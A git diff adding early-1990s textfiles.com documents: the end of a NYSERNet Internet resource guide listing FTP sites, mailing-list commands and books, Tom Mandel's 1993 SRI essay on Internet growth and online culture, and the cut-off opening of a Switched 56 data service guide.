+NSF Network Service Center (NNSC) +NSF Internet Tour HyperCard Stack--borrow a Macintosh long enough to +view this, worth the effort! Includes net history, net maps, net poetry and +lore. Free. + +They also publish a very complete Internet Resource Guide ($15). Many +items, including the HyperCard Tour to the Internet, freely available by +anonymous ftp from nnsc.nsf.net. +NNSC +Bolt Beranek and Newman Inc. +10 Moulton Street, Cambridge, MA 02138 +617/873-3400 +nnsc@nnsc.nsf.net + +New User's Guide to Unique and Interesting Resources on the Internet 2.2. +Available from NYSERNet (New York State Education and Research +Network). It is over 145 pages and lists some 50 sources. OPACS, +databases, information resources, and more. The New User's Guide is +available in hard copy at the cost of $25.00. (NYSERNet Members: +$18.00) +It is available electronically at nysernet.org (192.77.173.2) in the +directory +/pub/resources/guides. It is called the new.user.guide.v2.2.txt +For more information: NYSERNet, Inc. +111 College Pl. + Syracuse, NY 13244-4100 +315/443-4120 FAX 315/425-7518 +info@nysernet.org + +NorthWestNet User Services Internet Resource Guide +NorthWestNet has released a 300-page guide to the Internet, covering +electronic mail, file transfer, remote login, discussion groups, online +library +catalogues, and supercomputer access. + +Copies may be purchased for $20.00 from NorthWestNet. It is also +available via anonymous ftp: ftphost.nwnet.net in the directory +/nic/nwnet/user-guide. + +NorthWestNet +15400 SE 30th Place, Suite 202, +Bellevue, WA 98007 +206/562-3000 FAX: 206/562-4822 + +"There's Gold in Them Thar Networks! or Searching for Gold in all the +Wrong Places" written by Jerry Martin at Ohio State University. This +document is available via Internet message to Infoserver@nnsc.nsf.net. +Once inside the message area, give the following commands to retrieve the +document: REQUEST:NSFNET +TOPIC:NETWORK-TREASURES +REQUEST: END + +"The Yanoff Lists" +"Special Internet Connections" Compiled by Scott Yanoff. This is an +indispensable weekly list of network resources available using telnet and +ftp. + +It includes a few Online Public Access Catalogs, chat lines, weather +servers, Campus Wide Information Systems, and reference resources. +Send e-mail to the list manager (Scott Yanoff) at: +yanoff@csd4.csd.uwm.edu or ftp to csd4.csd.uwm.edu. The filename is +inet-services. + +How to Find out More About Discussion Lists + +Thousands of discussion groups, LISTSERVs, and mail reflectors exist on +the Internet. Here are several ways to find lists of interest to you. + +LISTSERVs available from NYSERNet.org +Nysernet.org hosts over 20 lists, including folk_music and PUBLIB for +public librarians. Send a LIST GLOBAL command in an interactive +message to our host. For example: To: LISTSERV@nysernet.org +Subject: +Message: LIST GLOBAL + +The SRI NIC Maintained Interest-Groups List of Lists +This is available by FTP from ftp.nisc.sri.com (192.33.33.22) in the +directory /netinfo/interest-groups. + +The SRI NIC list-of-lists is also available via electronic mail. Send a +message to mail-server@nisc.sri.com with the following line in the +message body: +Send netinfo/interest-groups +Example: +To: mail-server@nisc.sri.com +Subject: +Message: Send netinfo/interest-groups + +The List of Lists +A comprehensive list-of-lists can be obtained from some larger host +computers running LISTSERV software, by sending a LIST GLOBAL +command in an interactive message. This will return a "one line per list" +list of all lists known to that host as of that date. +For example: +To: LISTSERV@ VM1.NoDak.EDU mail +Subject: +Message: LIST GLOBAL + +The global list can also be searched online. For details send LISTSERV +the command INFO DATABASE . + +Network Accessible Database Server +Only available on the LISTSERV at VM1.NoDak.EDU is a searchable +interest groups database. For example, to search of the databases for lists +on "cats" you would send the following statements (copy them exactly into +your mail message to the LISTSERV): + +//DBlook JOB Echo=No +Database Search DD=Rules +//Rules DD * +Select cats in lists +index +Select cats in intgroup +index +Select cats in new-list +index + +These statements search the global LISTSERV list of lists ("in lists"), and +the local copy of the SRI-NIC Interest Groups ("in intgroup"), and the +archives of the "new-list" list ("in new-list"). Send LISTSERV the +command INFO DATABASE for more information. + +The 5th Revision of the Directory of Scholarly Electronic Conferences +This resource is available at LISTSERV@KENTVM or +LISTSERV@KENTVM.KENT.EDU and via anonymous FTP to +ksuvxa.kent.edu in the library directory. This announcement is extracted +from the ACADLIST README FILE + +"This directory contains descriptions of 805 electronic conferences +(econferences) on topics of interest to scholars. E- conference is the +umbrella term that includes discussion lists, interest groups, e-journals, e- +newsletters, Usenet newsgroups, forums, etc. We have used our own +judgment in deciding what is of scholarly interest -- and accept any advice +or argument about our decisions. We have placed the entries into +categories by deciding what the *dominant* academic subject area of the +electronic conference is." + +"The 5th Revision involves an attempt to make it easier to feed the +Directory into HyperCard(TM), dBase(TM) and other database programs. +The first step in this effort has been to use field labels for each part of +each +record. We've also reduced the size of each record by trying to keep topic +information between 25-50 words (some are still bigger). Advice on this +topic will be gratefully accepted at dkovacs@kentvm.kent.edu." + +"In addition, information about editorial policy and archive availability and + +frequency have also been included in each record. Where possible the +information in each record has been checked for currency and accuracy by +checking the LISTSERV header in the case of LISTSERV based e- +conferences and contacting the moderators of other kinds of e- +conferences." + +"The field labels are as follows: LN: (e-conference name) TI: (topic +information) SU: (subscription information) ED: (edited? Yes or No) AR: +(archived? if Yes, frequency, private=subscribers only) MO: (moderator, +editor, listowner, manager, coordinator, etc.) IA: ('official' institutional +affiliation)." + +"Topic descriptions are taken in whole or part from the descriptions +provided by each listowner, editor, moderator or coordinator to the New- +List, the List of Lists, and the Internet Interest Groups file." + +"Any errors are the responsibility of the compiler of the Electronic +Conferences for Academics Files. If you can provide corrections or +additional information about any of these electronic conferences, please +contact: + +Diane Kovacs (Bitnet) DKOVACS@KENTVM (Internet) +DKOVACS@KENTVM.KENT.EDU + +These files are available on the Directory of Scholarly E-Conferences: +ACADLIST README (explanatory notes for the Directory) +ACADSTCK HQX (binhexed, self-decompressing, HyperCard Stack of +entire Directory - Keyword searchable) +ACADLIST FILE1 (Anthropology- Education) +ACADLIST FILE2 (Geography-Library and Information Science) +ACADLIST FILE3 (Linguistics-Political Science) +ACADLIST FILE4 (Psychology-Writing) +ACADLIST FILE5 (Biological sciences) +ACADLIST FILE6 (Physical sciences -now includes Academic Computing +and Computer Science) +ACADLIST FILE7 (business, Academia, news) +ACADWHOL HQX (binhexed self-decompressing Macintosh M.S. Word +4.0 document of all 7 directories) +ACADLIST.CHANGES (Major additions and deletions) + +How to retrieve the abovefiles via mail +1. Send an e-mail message addressed to LISTSERV@KENTVM or +LISTSERV@KENTVM.KENT.EDU. +2. Leave the subject and other info lines blank. +3. The message must read: GET Filename Filetype +(e.g.,filename=ACADLIST filetype=FILE1 or HQX or whatever) +4. The files will be sent to you and you must receive them. +5. If you need assistance receiving, etc. contact your local Computer +Services people. + +How to retrieve the files via anonymous FTP (File Transfer Protocol) +FTP to KSUVXA.KENT.EDU +1. when prompted for 'USERID,' type ANONYMOUS. +2. Your password will be your actual userid on your local machine. +3. Type: cd library +4. Type: GET Filename.Filetype (e.g., filename=ACADLIST +filetype=FILE1 or HQX or whatever) +5. The files will be transferred directly into the directory you ftp'ed from +at +your site. + +New Lists and List Changes +New lists are being started every day, and old ones fade away. To find out +about these changes, join the NEW-LIST mailing. Here is part of their +welcome message: + +"The 'NEW-LIST' list has been established as a central address to post +announcements of new public mailing lists. In addition, 'NEW-LIST' might +be used as a final verification before establishing a list (to check for +existing lists on the same topic, etc.). However, be sure to check sources +such as the Internet List-of-Lists (SIGLIST or INTEREST-GROUPS list), +LISTSERV GROUPS, and the LISTS database on the major LISTSERVs +(we have the LISTS database on NDSUVM1)." + +"We will gladly rebroadcast New List announcements, final list proposals +(to avoid conflicts or redundancy), or emergency announcements about the +availability of some list. + +List Review Service +These folks subscribe to and monitor a list for awhile and then report on it +to everyone else. It's a great idea and a useful way to "sample" a list. Here + +is the subscription information. Email its author to be added to the List +Review Service list, BITNET ADDRESS: SRCMUNS@UMSLVMA. + +LIST REVIEW SERVICE ISSN: 1060-8192 Published bi-weekly, +when school is in session, by The University of Missouri, St. Louis +Libraries. +Raleigh C. Muns, editor. +For more information: Thomas Jefferson Library +University of Missouri St. Louis +8001 Natural Bridge Road +St. Louis, MO 63121 +314/553-5059 + +Internet Library Guides + +Three different Internet library guides are available to help both beginning +and experienced OPAC users. + +Art St. George's Internet-Accessible Library Catalogs and Databases +includes directions for Internet libraries and Campus Wide Information +Systems as well as dialup libraries and bulletin boards in the United States. + +Available from: ariel.unm.edu /LIBRARY/INTERNET.LIBRARY + +Billy Barron's Accessing On-line Bibliographic Databases contains a +number of useful features such as guides to local OPAC escape sequences +and commands. FTP to ftp.unt.edu (129.120.1.1) +/LIBRARY/LIBRARIES.TXT + +Dana Noonan's A Guide to Internet/Bitnet comes in two parts. Part two is +about Internet Libraries. It is an easy to use guide to many national and +international OPACS and their login and use instructions. (available via +anonymous ftp from vm1.nodak.edu then CD NNEWS (although nnews +may not show up on the directory menu, it works.) A printed version is +available for $10 from Metronet. For more information: +Metronet, +226 Metro Square Building +Seventh and Robert Streets +St. Paul, Minnesota 55101 +612/224-4801 FAX 612/224-4827 + +Must-have Books for the Internet Surfer + +Kehoe, Brendan. (1993). Zen and the Art of the Internet: a Beginner's +Guide (2nd ed.). Englewood Cliffs, NJ: Prentice-Hall. The first edition is +available for free from many FTP sites (see below) This version has about +30 pages of new material and corrects various minor errors in the first +edition. Includes the story of the Coke Machine on the Internet. For much +of late 1991 and the first half of 1992, this was the document of choice for +learning about the Internet. ISBN 0-13-010778-6. Index. $22.00 + +To ftp Zen 1.0 in a PostScript version: +ftp.uu.net [137.39.1.9] directory /inet/doc +ftp.cs.toronto.edu [128.100.3.6] directory /pub/zen +ftp.cs.widener.edu [147.31.254.132] directory /pub/zen as zen-1.0.tar.Z, +zen-1.0.dvi, and zen-1.0.PS +ftp.sura.net [128.167.254.179] directory /pub/nic as zen-1.0.PS +It is also available to read on many Gopher servers. + +Krol, Ed. (1992). The Whole Internet User's Guide & Catalog. Sebastopol, +CA: O'Reilly & Associates. Comprehensive guide to how the network +works, the domain name system, acceptable use, security, and other issues. +Chapters on telnet/remote login, File Transfer Protocol, and electronic mail +explain error messages, special situations, and other arcana. Archie, +Gopher, Net News, WAIS, WWW, and troubleshooting each enjoy a +chapter in this well-written book. Appendices contain info on how to get +connected in addition to a glossary. ISBN 1-56592-025-2. $24.95 + +LaQuey, Tracey, & Ryer, J. C. (1993). The Internet Companion: a +Beginner's Guide to Global Networking.. Reading, MA: Addison-Wesley. +Beginning with a forewordby Vice-President Elect Al Gore, this book +provides an often-humorous explanation of the origins of the Internet, +acceptable use, basics of electronic mail, netiquette, online resources, +transferring information, and finding email addresses. The In the Know +guide provides background on Internet legends (Elvis sightings is one), +organizations, security issues, and how to get connected. Bibliography. +Index. ISBN 0-201-62224-6 $10.95 + +Marine, April. (1992). INTERNET: Getting Started.. Menlo Park, CA: SRI +International. This book has an international overview, and includes things +the others don't, such as an index to all the RFC's (Request for Comments), +Internet organizations, source information for the TCP/IP CD ROM, and +the answer to "who is in charge of the Internet?" (No one is. The Internet is + +a cooperating group of independently administered networks. Some groups +set basic policy though.) ISBN 0-944604-15-3 $39.00 +SRI +333 Ravenswood Ave. +Menlo Park, CA 94025 + +Tennant, Roy, Ober, J., & Lipow, A. G. (1993). Crossing the Internet +Threshold: An Instructional Handbook. Berkeley, CA: Library Solutions +Press. A cookbook to run your own Internet training sessions. Real- world +examples. Foreword by Cliff Lynch. ISBN: 1-882208-01-3 $45.00 +Library Solutions Institute and Press +2137 Oregon Street Berkeley, CA 94705 +510/841-2636 FAX: 510/841-2926 + +Magazine + +Matrix News, the monthly newsletter edited by John S. Quarterman. +Subscriptions are $30 per year. for a paper edition, $25/yr for an online +edition. Matrix News, Matrix Information & Directory Services, Inc. +(MIDS) +1106 Clayton La. +Suite 500 W +Austin, TX 78746 +512/329-1087 FAX: 512/327-1274 +mids@tic.com + +Organizations + +CNI Coalition for Networked Information +1527 New Hampshire Ave., NW +Washington, DC 20036 +202/232-2466 FAX: 202/462-7849 +info@cni.org + +CPSR Computer Professionals for Social Responsibility +PO Box 717 +Palo Alto, CA 94302 + 415/322-3778 FAX: 415/322-3798 +CPSR Newsletter, annual Computers, Freedom and Privacy Conference, +poster ("Technology is driving the future-- it's time to find out who's +steering.") cpsr@clsi.stanford.edu + +EFF The Electronic Frontier Foundation, Inc. +155 Second St. +Cambridge, MA 02141 +617/864-1550 FAX: 617/864-0866 +Publishes the EFFector in online and print editions. T-shirts, bumper +stickers ("I'd rather be telecommuting"; "ISDN: Make it so."; +"CYBERNAUT") +eff@eff.org + +Internet Society +1895 Preston White Drive +Suite 100 +Reston, VA 22091 +703/620-8990, FAX 703/620-0913 +Annual conference, quarterly Internet Society News. +isoc@nri.reston.va.us + +============================================= +For more information about this article: +Jean Armour Polly +Manager of Network Development and User Training +NYSERNet, Inc. +111 College Place +Syracuse, NY 13244-4100 +315/443-4120 +FAX: 315/425-7518 +jpolly@nysernet.org +============================================= + + + diff --git a/textfiles.com/internet/surfwild.txt b/textfiles.com/internet/surfwild.txt new file mode 100644 index 00000000..04afeb16 --- /dev/null +++ b/textfiles.com/internet/surfwild.txt @@ -0,0 +1,466 @@ +This document was installed in the WELL gopher with the permission of the +copyright holder. Permissions for further distribution must be obtained +from SRI. Contact mandel@netcom.com +03/19/93 +-------------------------------------------------------------------------- + SURFING THE WILD INTERNET + + Thomas F. Mandel + Scan No. 2109 + SRI International + Business Intelligence Program + March, 1993 + +Copyright 1993 by SRI International Business Intelligence Program. +All Right Reserved. + +Contact the author (mandel@netcom.com) for further information or copies. + + EXECUTIVE SUMMARY + +SRI International Futurist Tom Mandel describes the history, rapid growth, +and +varied interactions on internetworked computer systems such as the Internet. +Developed from research-related university and government communications +systems, the Internet is now doubling in size each year. The entire global +electronic information matrix, which includes the Internet, will probably +reach +more than 500 million users by the end of this century. As a significant part +of the infrastructure for the emerging information society, the Internet +reveals the major new issues created by a world where copyright replaces +property right, theft becomes invasion of privacy, and the realities of +social +interactions include on-line personas, information addiction, virtual coffee +houses, and lovers who tryst without ever meeting through the exchange of +e-mail and sexually explicit graphics files. In this electronic community, a +"new frontier" ethic among collaborative users motivates continuing user +innovation in communications software, information filters, and encryption +programs. The first truly wide-membership global community, the Internet has +created and will continue to innovate new versions of work and play, love and +crime in human society. The major future uncertainty concerns the evolving +boundaries of this network, the network's ultimate penetration into corporate +and personal spaces, and the dynamic effects of increasing interconnectivity +on +economies, nations, and values. + + SURFING THE WILD INTERNET + +Computerized communications networks such as the Internet create the +technical +foundation of the information society. Its rapid growth and varied +interactions +define the norms and aspirations of this new world. + +One forecast that has proved true about the information society is the rapid +emergence of computer/communications networks. Throughout the late 1980s and +into the present, no corners of the information infrastructure exist where +connectivity (linked computers and communications systems) and +internetworking +(networks of computer networks) are not growing explosively. The business, +social, and political consequences of increasingly dense connectivity will be +far reaching, and the patterns of change are visible in the activities +already +going on. + +Outside the public switched telephone network-the global computerized +telephone +systems-the Internet is the world's largest computer internetwork. It +developed +in the early 1980s, as a restructuring of the U.S. Department of +Defense-funded +ARPANET computer network, to connect several hundred university and U.S. +government mainframe computers (hosts) for the exchange of electronic mail +(e-mail), information, and computing resources. Since 1986, the number of +computer hosts on the Internet has grown at approximately 100% per year, and +by +January 1993, the Internet connected more than 1 300 000 hosts in nearly all +major countries (see Figure 1). No one knows how many people access Internet +computer services, but estimates range from 8 million to 15 million people +worldwide-and these estimates exclude users on hosts that, for security +reasons, are invisible on the Internet system. Although growth of the +Internet +in the United States is slowing down (to 80% in the past year), growth +elsewhere in the world is just starting to take off. For example, the number +of +hosts increased 200% in the United Kingdom last year (where Internet hosts +now +number more than 58 000) and increased some 170% in Japan, with nearly 24 000 +hosts (see Items Worth Noting in the February Scan). + +[Figure 1 deleted from this electronic version. It illustrates the +growth of Internet hosts from about 200 in 1981 to roughly 1.3 million +as of January, 1993. Source: SRI International.] + +Growing alongside the Internet are the tens of millions of users of a number +of +packet data networks such as Sprintnet, BT (British Telecom) Tymnet, and +Compuserve Packet Network and the tens of thousands of companies worldwide +that +link employees with private local- and wide-area networks-many of which +connect +to an internetwork. According to John Quarterman, publisher of Matrix News, +these corporate computer networks are together already at least as large as +the +Internet itself. Cellular radio networks such as Viking Express and Ardis now +provide interconnectivity to notebook computer users, and-in the near +future-telephone systems will offer digital information services that will +effectively make them large internetworks as well. New internetworking +standards that have rapidly evolved during the past five years ensure that +the +complexity and connectivity of these different networks and internetworks +will +increase by several orders of magnitude in the 1990s. At the end of this +decade, internetworks will link several hundred million computers together, +and +the total number of users with access to the global electronic information +matrix will exceed 500 million. + +More interesting than the sheer volume of communications are the mostly +unpredicted new behavior and social phenomena that the internetworks nurture. +An overview of the major developments hints strongly at both the bright and +the +dark aspects of the emerging information society. + +People's Need to Talk + +One of the most rapidly growing categories of exchanged files on the Internet +is personal communications. Today e-mail and facsimile mail are the two most +rapidly growing new media for direct connection between individuals, +businesses, and other organizations. Experimental network connections for +e-mail between politicians and the public have existed for many years, +started +by telecommunications visionaries such as Dave Hughes in Colorado, but now +these experiments are spreading rapidly. During the 1992 election campaign, +President Clinton's campaign staff publicized an e-mail address through which +the public could ask questions, express opinions, and provide or receive +information. Compuserve still maintains an e-mail connection to Clinton's +staff, and reports suggest that members of Congress will soon be addressable +via Internet e-mail. Because these channels can support the same +question-and-answer format that President Clinton has popularized through +televised town-hall meetings, internetworking will likely accelerate the +change +in the power relations of public political dialog. Prodigy, the largest (in +number of users) U.S. interactive consumer information service, recently +announced that it would offer e-mail services to and from the Internet. +Because e-mail addresses are usually on password-secure personal computers, +e-mail can exceed the postal service as a private, secure communications +channel. As a result, even love and sex occur through electronic messages. +Some +users get to know each other in newsgroups (see below) and Internet Relay +Channel (IRC), start flirting, and carry on long-distance electronic +relationships without ever meeting. Occasionally one even runs into the +network +equivalent of obscene phone calls. And some user groups create text and +digital +graphic files of erotica, then swap these files electronically with other +Internet users. These examples are also the first public efforts to use the +Internet for primitive multimedia communications. + +Real-time conferencing channels are much smaller than e-mail services, which +can exchange mail with almost all major private and public networks through +the +Internet. The first computer businesses to offer real-time computer +conferencing services quickly discovered that their customers liked to banter +in real time about life-style and personal interests. The Internet developed +"chat" features as a result. One of these features-IRC-provides real-time +communications to thousands of users worldwide at hundreds of different +sites. +IRC's structure has different "channels," not unlike conference telephone +calls, that may address any topic, from research to postadolescent prattle. +Some channels are completely private. Most, but not all, IRC participants are +college students using university Internet hosts around the world. Within an +IRC channel, it is not unusual to banter simultaneously with users in Taiwan, +Korea, Finland, Switzerland, Israel, Australia, Canada, and the United +States. +Time-zone differences matter little to the night-owl habitues of the IRC +"virtual cafe." And English is the language making global chat possible (much +as English created a global rock music culture). Other, better-designed +real-time conferencing systems, such as Scott Chasin's 4m (for forum), are +emerging to meet the growing demand for conferencing that is less chaotic and +spirited than often prevails in IRC. + +Global Computer Conferencing + +When the ARPANET started, a number of users developed programs so that they +could discuss subjects of interest to them in text versions of round-table +discussions. A system of "newsgroups" and later "mailgroups" emerged that +users +can enter through the Internet, USENET (a network of Unix and other systems), +BITNET (a network of college systems), and other networks. Users "subscribe" +to +the newsgroups of their choice, which are available to their host computer +systems; they read and respond to text messages within directories that +define +specific topics of interest. The more private mailgroups go to individual +subscribers rather than hosts, and membership in some (such as mailgroups +discussing computer security) is restricted to qualified people. Early +newsgroups focused on computer use-an early group addressing "computer risks" +still thrives today-and science fiction. By the mid-1980s, just before the +Internet started growing rapidly, perhaps 300 different newsgroups were +available over thousands of computer systems. Today, more than 3000 such +newsgroups are available to more than 1 million hosts and perhaps ten times +as +many individual users. The public electronic file listing all known +mailgroups +is some 300 printed pages long. Though many newsgroups are technical, the +most +active address social, political, recreational, and other special interests. +The technical information frontiers have rapidly transformed into habitats +for +personal and everyday use, and on a global scale. + +Freedom of Information + +The Internet is awash with information, both useful and banal. In a very real +sense, the entire Internet (and other internetworks) is becoming one +extremely +large, globally distributed, and mostly public electronic library, post +office, +and discussion forum. The Internet evolved with a strong and explicit +philosophy of sharing information (mail, documents, programs, data, and +graphics), and that perspective has dominated how the system works today. The +internetwork has evolved into a web of public and private channels bounded by +explicit security barriers. Occasional network horror stories-such as the +1989 +computer "worm" originated by a Cornell University graduate student, which +incapacitated hundreds of public and private computers on the Internet +system-have actually improved the overall reliability and security of +internetworking. In this context, a distinctive new-frontier ethos has +developed among Internet users, championing the free exchange of information +and the intricate new issues of on-line etiquette, expression, and user +protections against vandalism, harassment, invasions of privacy, and +commercial +solicitations. These users' credo is "Information wants to be free." + +Texts from the Internet Library + +The originating purpose of the Internet was the exchange of computer files, +and +this exchange remains a primary activity on the network. A basic Internet +tool +is FTP, a program that enables users to move files from one Internet computer +to another. Some large corporate and university systems maintain large public +FTP directories-"anonymous FTP sites"-listing all the files available to +public +access. But as the Internet grows, simply finding where programs are located +becomes increasingly difficult, so easy-to-use search tools make this task +easier. Archie, one of the most widely used programs, can locate the more +than +2.1 million computer programs in the Internet public FTP directories, +according +to Ed Krol, author of The Whole Internet User's Guide and Catalog. An Archie +search is usually straightforward and simple; it can take as little as a +minute +to identify specific programs worldwide that are publicly available via FTP. +Archie is relatively crude compared to newer programs to search for +information +on the Internet. Gopher burrows through indexes of files; presents the +contents +much like a multiwindow, interactive card catalog in a library does; and lets +the user browse the contents of selected documents. Different Gopher servers +provide access to different kinds of information on different parts of the +Internet-from UPI press feeds as an indexed resource to entire libraries of +books. WAIS (Wide Area Information Service) is a newer and more sophisticated +Internet information searching program (see D92-1612, Wide-Area Information +Servers: An Executive Information System for Unstructured Files). WAIS lets +users ask simple questions, essentially searching WAIS-directoried files +available on the Internet for particular words and phrases, and refining +keywords until they locate desired files. Some 250 WAIS libraries are +currently +available free on the Internet, maintained by volunteer effort and donated +computer time. Commercial services such as Dow Jones Information Service also +use the WAIS interface to provide searchable information on a for-fee basis. + +Computer Fun and Games + +Internet users were quick to use internetworking for recreation. Whole Earth +Catalog founder Stewart Brand (in "Fanatic Life and Symbolic Death Among the +Computer Bums," Rolling Stone, December 1972) first described the tendency of +mainframe-computer programmers to create and play new computer games for +hours +on end. This phenomenon is repeating on the Internet but with a new twist: +During the past several years, several hundred interactive, multiuser +simulation games (or environments)-MUDs and MUSEs-have popped up on Internet +hosts. MUD stands for Multiuser Dungeons and Dragons and MUSE, which is more +generic, means Multiuser Simulation Environment: computer versions of board +adventure games. Several hundred MUDs and MUSEs are now running on mostly +university-based Internet systems, and many are accessible from elsewhere on +the network. MUSE users take advantage of special computer languages to +create +in-text fantasy environments that can interact with each other as if their +individual MUSE were a real world. Most MUSEs are wild, chaotic science +fiction +or fantasy worlds, but some are very serious experiments. Cyberion City, a +MUSE +that "lives" at the Massachusetts Institute of Technology (MIT) in Cambridge, +Massachusetts, is a multilevel "spaceship" being designed, built, and +constantly modified by elementary, high school, and college students (and a +few +adults). Several computer research companies are exploring the MUSE medium, +and +at least one graphical MUSE interface is under development in Europe. Many of +these simulations are available on the Internet. + +Semi-Intelligent Bots + +Finally, semismart software programs-bots (for robots) are appearing in +certain +parts of the Internet. These programs reside in various applications and +perform tasks tailored to an individual user's needs. Some IRC users program +bots to record conversation, note the arrival of and send messages to special +friends, and provide information on request to other users. In the MUSE +world, +bots can be programmed with distinct personalities; in Cyberion City, the +fashion is to create a personal bot that will greet visitors to the user's +simulated world when the creator is not logged on. Bots represent the first +user-programmed steps toward true network agents-programs that will perform +specific services for individual users anywhere on the network. + +Besides performing these explicit communications functions, the Internet is +effectively an experimental social system, inhabited by computer-literate +people and shaped by the infrastructures, standards, protocols, expertise, +and +values that enable communications through the internetwork system. The major +implications of this new system emerge from the patterns of interaction +already +visible within it: + +o +An information community. Internetworkers share only information, and this +focus profoundly redefines the basic issues of human community. Copyright +replaces property right, computer security replaces home security, file +erasure +replaces arson, freedom from harassment replaces invasion of privacy. The +materialistic, racial, gender, and occupational stratification of society is +superseded on the Internet by a new class structure based on expertise, +connectivity, access, and "on-line persona." This change redefines the power +and privacy assumptions that developed around other communications: The +techniques of mass-media advertising and personal solicitation are widely +scorned by the internetworking population. Politics, work, and recreation are +undergoing redefinition as well. + +o Information junkies, information overload, and hypersegmentation of +interest. +The new information world has revealed human psychological tendencies and +limitations unknown a decade before and is penetrating and opening individual +lives in unexpected ways. Curiosity and facility with network tools are +creating a growing number of people extremely adept at gathering information +off the Internet and connected systems. Some of them have become information +junkies, avidly collecting trivia just for the sake of the search. Addiction +to +network personal communications and discussion groups is a problem for +others. +The Internet defines new kinds of addiction, abuse, and "cyberpathological +behavior." Users less avid for information sometimes complain of information +overload-a rare complaint just a few years ago but one that is common today. +One result is that new kinds of message-handling and filtering programs are +emerging, creating personal windows of interest through which unwanted +information may not pass. Individual "bozofilters" allow newsgroup users to +avoid seeing postings by irritating cosubscribers, and "killfile" commands +let +wire-service subscribers exclude news on particular topics. With 3500 +newsgroups and a third as many mailgroups, users must focus quickly on what +matters most, creating a hypersegmentation of interest areas. Specific +newsgroups exist on a broad range of social, legal, and business issues (in +the +United States, Germany, Australia, and other countries); on software; on +computer hardware; and on nearly every sport and hobby imaginable. These +tools +will accelerate a trend toward narrow but intensive information and +communications that enhance personal identity and overlapping, highly +collaborative communities of interest. The diversity of Internet +microsegments +will undoubtedly increase as more users come on-line, but frontier innovation +may become a fringe user activity as more conventional, middle-class user +groups emerge. + +o Collapse of boundaries and codes of privacy. The Internet and other parts +of +what John Quarterman calls "the information matrix" are timeless and +placeless. +A message sent by a student in Melbourne in the evening is read immediately +in +the morning by another in Ohio; conversations go on continually in IRC; +information +searches and transfers keep the network alive 24 hours a day, 365 days a +year. +National boundaries are essentially meaningless on the network: Interaction, +trade, crime, and surveillance occur continually and in a global context. +Although many countries' laws restrict the movement of many kinds of +information without special permission, no real physical or electronic +barriers +exist to distributing information from one country to another in seconds. The +most important boundary issues concern personal privacy and information +security. The early Internet and many of the computer systems on it were +vulnerable to snoopers and computer crackers, and the growth of the network +has +complicated security concerns enormously. But the network was designed to be +relatively open, and many underbudgeted systems administrators are lax about +security. As a result, users seeking privacy have designed their own +encryption +programs for personal communications and files. Despite threats by U.S. and +other government agencies to control encryption resources legally because +encryption software may facilitate computer-related crime, the genie of +personal encryption is already out of the bag. Internet-based programs to +encrypt host-to-host communications are also emerging. + +o Collaborative work and grass-roots community ethics. Government intrusion +on +the encryption issue rubs raw against the new-frontier standards of the +Internet community. The Internet is itself the outstanding achievement of +collaborative computer work among a large number of computer and +communications +professionals working together on a wide range of specific projects over a +long +period-a model for high-technology work of the future. Newsgroups and +mailgroups and the programs to read and post to them were all the result of +small groups of people thinking up new and better ways to exchange +information, +an impetus that has doubled the number of newsgroup reader interfaces in the +past two years. These activities also reflect the new-frontier camaraderie +among users. Some of the best e-mail interfaces on the network were created +by +Internet users, then became available to everyone for free. The Internet's +rapid growth and permissive management are creating new ethical +issues-copyright infringement, false identities, shared pornography, on-line +harassment, and the uses of advertising-that are discussed widely and +seriously +by the user community. + +o Heterarchical management. Overall, the Internet has no central controller, +and network governance is coevolved across many different sites rather than +handed down from a central location. This paradigm makes the Internet a model +for flat, decentralized organizations and management systems of the future. +The +U.S. federal government, regional public and private institutions, telephone +companies, and several large corporations all participate in managing the +network's backbone (the network of information superhighways) and setting a +few +general rules. Business, universities, and other owners of systems add their +own local rules. But different clusters of users create and self-police +standards of conduct for activities in which they engage. + +o The dynamics of interconnectivity. Finally, connectivity is a property of +complex systems that can profoundly affect system behavior, yet the dynamic +consequences of increasing connectivity are simply unknown. The shutdown of +computer systems by the Cornell computer "worm" and the 1987 crash of the +U.S. +stock market (driven largely by highly interconnected and computerized +trading +programs shifting the resources of huge mutual and pension fund accounts) +show +the negative potential impact. In the longer term, the emergence of a +collective mind-millions of individuals connected interactively to the same +sources of imagery, information, and rhetoric-is likely to create entirely +new +social, political, and market dynamics. + +The preceding examples represent a very selective slice of what is going on +the +information matrix. In the midst of it all, a truly new electronic culture is +being invented on-line by the computer expertise and communicative behavior +of +tens of millions of users of the Internet and its interconnected public and +private hosts. + + diff --git a/textfiles.com/internet/sw56gu.txt b/textfiles.com/internet/sw56gu.txt new file mode 100644 index 00000000..1aedf1d5 --- /dev/null +++ b/textfiles.com/internet/sw56gu.txt @@ -0,0 +1,1003 @@ + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + ************************************************* + + SWITCHED 56: WHAT IS IT? + + + GUIDE TO THE GUIDE + + + LOCAL EXCHANGE CARRIER SERVICES + + * AMERITECH + ** BELL ATLANTIC + *** BELLSOUTH + **** CENTEL + ***** GTE/CONTEL + ****** NYNEX - NEW ENGLAND TELEPHONE + ******* NYNEX - NEW YORK TELEPHONE + ******** PACIFIC TELESIS + ********* SOUTHERN NEW ENGLAND TELEPHONE + ********** SOUTHWESTERN BELL + *********** SPRINT LOCAL TELECOM DIVISION + ************ US WEST + + + LONG DISTANCE CARRIER SERVICES + + * AT&T + ** MCI + *** SPRINT + + + TARIFF CHANGES + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + + SWITCHED 56: WHAT IS IT? + **************************** + + *** Switched 56 represents a fast, yet cost-efficient method + of transferring data. The service taps the public network, + taking advantage of the recent investments telephone + companies have made in digital and fiber-optic + communications. + + *** The "56" of Switched 56 stands for the fast data rate of + 56 kilobits per second. "Switched" refers to your ability + to dial and receive switched data calls just as you would + with a voice telephone line. Switched 56 combines high + speed with the widespread availability and low usage cost of + voice. Once Switched 56 is installed, you simply dial + another user's Switched 56 number to transmit full duplex 56 + Kbps digital data. + + *** Switched 56 is a fast, inexpensive way to transport data + digitally. Cost effectiveness. High speed. Widespread + availability. Flexibility. Extensive Applications. For + all these reasons, data communications managers, PC power + users, LAN managers, broadcasters and videoconference users + are making Switched 56 the most popular of the Switched + Digital Services. + + *** Integrated Network Corporation (INC) manufactures + Channel Service Unit/Data Service Units (CSU/DSUs). What a + modem is to analog data communications, the CSU/DSU is to + digital communications. The company created many of the + standards that define Switched 56 including call progress + monitoring, echo canceller disabler and extended loop range. + INC holds two dozen national and international patents on + Switched 56 technology. The company makes much of the + central office equipment that makes Switched Digital + Services 